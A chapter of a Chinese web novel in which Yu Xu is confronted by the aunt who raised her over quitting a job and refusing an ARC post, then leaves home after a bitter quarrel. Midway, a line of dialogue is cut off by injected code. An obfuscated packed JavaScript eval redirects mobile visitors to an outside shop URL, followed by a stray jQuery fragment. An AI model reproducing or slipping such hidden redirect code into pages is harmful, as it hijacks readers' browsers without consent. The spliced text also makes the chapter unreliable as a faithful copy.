游远声面前摊开着一本熟悉的文件夹。
是李懿给游叙的那个。
她本能察觉到了微妙的气氛，缓缓关上门。
游远声抬起头。
她问，“你辞职了？”
游叙站在门口。
“是。”
“这是什么？”游远声举起手中的文件夹，“我问过繁书，她说你说这是异常物险的保单，但我看好像不是啊。”
游叙轻轻抿了下嘴唇。
“嗯。”
游远声脸上看不出什么神色，“那你说说这到底是什么，我怎么看着还有ARC的事？”
房间里没有开灯，随着夜幕降临游叙看不清游远声的脸。她抓着自己的背包带子，低声说，“是保密协议。”
“保密协议？是吗，那为什么还有就职合同？”游远声狠狠把文件夹拍在桌上，“你的意思是，ARC邀请你入职，你不愿意，是吗？”
游叙不知道该怎么跟她解释卡津布狄斯的事，也不知道怎么说她临死的托付，徒劳地张了张嘴，却什么也没说出来。
“说话！”游远声骤然提高了声音，“是不是！”
游叙感到一阵熟悉的战栗。
她曾经感受过千百次，在幼时游远声牵着游繁书的手回家而她在后面默默跟随时，在她们都去了姥姥家却只是给她留了纸条要她自己想办法过去时，在放假后她自己步行穿过小半个城市回来时，那些时刻平凡、普通，因为发生在每时每刻，不能让她心里泛起半点涟漪，只是让她感到疲倦。
她说，“是。”
像一块巨石从天而降，把屋中一切砸了个稀碎。
游远声剧烈地喘息起来，幅度之大要让人以为她肺里有个破风箱。但她的声音竟然还很轻柔，“你什么时候辞的职？”
“上个月。”
“上个月？”游远声语调古怪地重复了一遍，“你辞职一个月了，没告诉我？”
游叙没有回答。
“要不是我同事在松林便利店看到你了，告诉我，我还什么都不知道。”游远声慢慢站起来，她的脸背光，一片漆黑，“你大学毕业是去便利店打工的？那你上大学干什么？我供你读书是让你去便利店卖货的？”
“日结。”游叙说。
“日结？”游远声往前走了一步，文件夹哗啦一声散开，纸页缓缓漫天飘落，像一场规模极小的雪，“你看这个，ARC！正式编制！你看看这工资，你看看这待遇！六险二金还有餐补！你不去？你做日结？你是不是脑子有病？一天天的在想什么？”
窗外路灯的光透过厨房窗户照进来，勉强能让游叙看清一点东西。她习惯性地微微低头，只能看到游远声的拖鞋。真奇怪，她的拖鞋还是十多年前的那一双。
“我有我的考虑。”
“你考虑什么，我问你考虑什么了？”游远声又往前走了半步，“你考虑过这个家吗？你考虑过我吗？你从小到大，吃我的用我的，我亏待过你吗？你妈走了以后是谁把你拉扯大的？你现在翅膀硬了，什么都不跟我说，自己就决定了！你眼里还有没有我，有没有这个家？”
游叙的手指在背包带上收紧了一下。
“我不想让你操心。”
“你不想让我操心？”游远声的声音几乎是从牙缝里挤出来的，“你不告诉我就叫不让我操心？你瞒着我辞职、瞒着我把ARC推了，这叫不让我操心？游叙，你当我是死人吗？”
游叙低着头。
游远声的手指几乎戳到游叙脸上，“你以为我是傻子？我看不出来？你那个什么保密协议，根本就不是协议，那是人家给你的补偿！你遇到异常物了是不是？你是不是差点死在外头？”
游叙猛地一僵。
“你以为你能瞒住我？”游远声的尾音颤抖起来，“我是你姨，我养了你二十年，你什么事能瞒住我？你在万春山上差点死了，你回来一个字都不说，你把我当什么？”
游叙又感觉到了那种窒息，熟悉的窒息。空气粘稠起来，它们准备溺死她。
“我不是……”
“游叙，你是不是觉得，我管你管多了？”游远声轻声问，“你是不是嫌这个家不好？你是不是一直都想走？”
“我没有……”
“那你为什么什么都不跟我说！”
空气寂静，带着刚才怒吼时的余震。窗外传来小区其他住户遛狗时的笑语，还有时不时几声狗吠。游叙几乎听不到自己的呼吸声了，她缓慢地转动脑袋，似乎这样就可以摆脱空气，摆脱窒息。
“我要出一趟远门。”她说，“去伊特。”
屋外的路灯似乎出了点问题，忽明忽暗，于是屋里也开始忽明忽暗。游远声的影子落在地板上，长长一条。一只不知道从哪飞进来的蛾子扑扇着翅膀从她们两人之间经过，盘旋着飞往未知的地方。太黑了，游叙依然看不见游远声的脸。
“什么？”游远声忽然压低了声音，低到游叙几乎要贴过去才能听清，“你说什么？你要干什么？”
“我要去伊特。”
“你要出国。”游远声机械似的重复，“你辞了职，去便利店打工，然后出国。”
游叙没有回答。
游远声也没再说话，黑暗中，她可能在盯着游叙，也可能在看别的地方。游叙不知道。
轻轻的，冷冷的笑声，像烟雾一样从地下飘出来。
“我养了你二十四年。”游远声说。
大浪落下了，海潮褪去了，黑色的礁石露出来。沙滩被抹平，但是满目疮痍。
“你要出国，你不跟我说一声。你是不是觉得这个家跟你没关系了？”
“我没有。”
“你觉得我是什么人？啊？你觉得我会拦你？”
游叙轻声说。
“你不会吗？”
游远声骤然噎住。
“什么？”她提高了音调，那简直是游叙此生听到过的最凄厉的声音，“你再说一遍？”
侧卧门猛地打开，游繁书扑到游远声身边，一把拉住她的胳膊，“妈，别说了！”
“你给我撒开！”
游远声一把甩开她，游繁书踉跄着后退了几步，差点被椅子绊倒，她又扑过去拦在游远声面前。
“好了妈！你在气头上，别说了！”
游远声没能再次甩开她。
隔着游繁书的背影，游叙听见游远声骤然落下来的声音，带着用力过度的嘶哑。她说，“游叙，你和你妈一个样。”
“一样犟。什么都不说，什么都自己扛，谁也不商量。她当年也这样，说走就走，什么都不告诉我，等我知道的时候人已经——”
她猛地停住了。
游繁书紧紧拉着她。
游叙站在原地。
茫然的黑暗之间她看到过去的二十四年正在汹涌地朝她扑来，而她独自站在那里，被水淹没。千百个少年悬吊在天地之间，只有一根绳索连着天际，尽头什么都没有，只是无尽空白。恍惚里，她似乎听到轻微的笑声，像一阵风或者一团雾，过了好一会她才意识到，那是她自己在笑。
也可能只是在用力地喘息。
“我知道。”
说出去的每一个字都在耳膜上轰隆隆回响。
“我怎么可能不知道。”
游远声在黑暗中如一尊雕塑。
“我知道你养我费了多大劲。”游叙说，“我知道你本来可以不管我，原来姥姥是想把我送去福利院的。”
她停了一下。
“我也知道我是外人。”
游繁书猛地转过身来，“游叙—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643897|206466||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
—”
“我睡在阳台上，谁都可以不打招呼就进来。”游叙说。
游繁书没能把剩下的话说出来。
“我十三岁那年，下大暴雨，说好了要去姥姥家吃饭，我冒着大雨趟着水回家，看见你在桌子上留了纸条，要我看到以后立刻过去。”游叙忽然说，“我浑身湿透了，但又不愿意让你失望，所以赶紧出门，伞被风吹跑了，我冻得打哆嗦，又没有钱坐车，等到了姥姥家的时候已经七点了。你打开门，问我的第一句话是怎么才来。”
游叙停了一下。
“我不是在抱怨什么，我也没那个资格抱怨。我只是想告诉你，不说的原因。”
她的目光又缓缓下移，落到游远声的拖鞋上。
“在那之后我攒钱给你买了双拖鞋，小姨，你为什么还穿着它？”
“够了！”
游远声难以忍受似的打断了她。
“你恨我，我知道，你恨我。”她喃喃道，“我偏心。家里一共就那么点钱，要养两个孩子，要供养你们姥姥姥爷，还要时不时去看看繁书她爷爷奶奶，要我怎么办？我能怎么办？”
她浑身都在打哆嗦，“应该的，你恨我是应该的。你小时候总是生病，三天两头去医院，每次都能把你妈给的生活费花光，我还得往里贴钱，我想过要不就把你扔了算了，但我不忍心，游叙，我不忍心！我一次次把你带回来，给你吃，给你穿，我仁至义尽了！我不是什么大老板，我一个月就挣四五千块钱，你还要我怎样？你还想怎样？”
游叙安静地听着。
“不怎样。”她轻声说，“对不起，小姨。那我就不给你添麻烦了。”
游远声张了张嘴，像一条干渴的鱼。
“行。”她忽然说。
“那你走吧，游叙。走了就再也不要回来了。”
游远声头也不回地走向卧室，重重甩上了门。墙壁和门框哐啷一声巨响，仿佛大地都震了一下。房间重回寂静的黑暗，游叙弯下腰，摸索着把地上的纸张捡起来，一张张放进夹子里，夹好。
她自始至终没能看见游远声的表情。
“游叙！”
游繁书一把拉住她。
“妈不是那个意思，你别……”她哆嗦着说，“你别走，你别走好不好？”
游叙低头。
淡紫色的指甲，廉价水钻在昏暗中微微闪了一下。
“抱歉。”
她轻轻把她的手拿开。
游叙走向阳台，把她所有的东西收拾进背包，几件衣服、内衣、二手旧kindle、水晶体，还有画册，装满了一只双肩包，这就是她二十四年的人生了。她指尖拂过阳台上的纸花，最终还是留下了它。然后她背起包，走了出去。
客厅里依然没有开灯，明明灭灭的路灯把客厅里所有东西全都勾勒成模糊轮廓，游叙勉强能看到电视背景墙上还留着一点红印，那是几个月之前过年时她和游繁书还有游远声贴小灯笼时留下的，另一边墙上有个卡通长颈鹿，最高只到一米五，头顶到下面有许多各种颜色水彩笔留下来的身高标记。她们现在都已经超过那个最高处了。
“我走了。”她对游繁书说，“再见，姐。”
门打开，游叙把试图追出来的游繁书关在里面，然后一步步地向下走。
墙壁冰凉，扶手的触感粗粝，楼道灯把一切都映照得惨白，游叙不知道自己是不是也是一样白。楼上再也没传来开门的声音。她停在楼梯上。
再有意识时，楼道灯已经熄灭了。
她没有意外。
楼道门外是朦胧的黑暗，今夜没有月亮，也没有星。游叙抬头看了一眼天空，天空像一团巨大的要滴下来的墨汁。她没有回头。
缓缓走入黑暗之中。夜风经久不散，仿佛是一声叹息。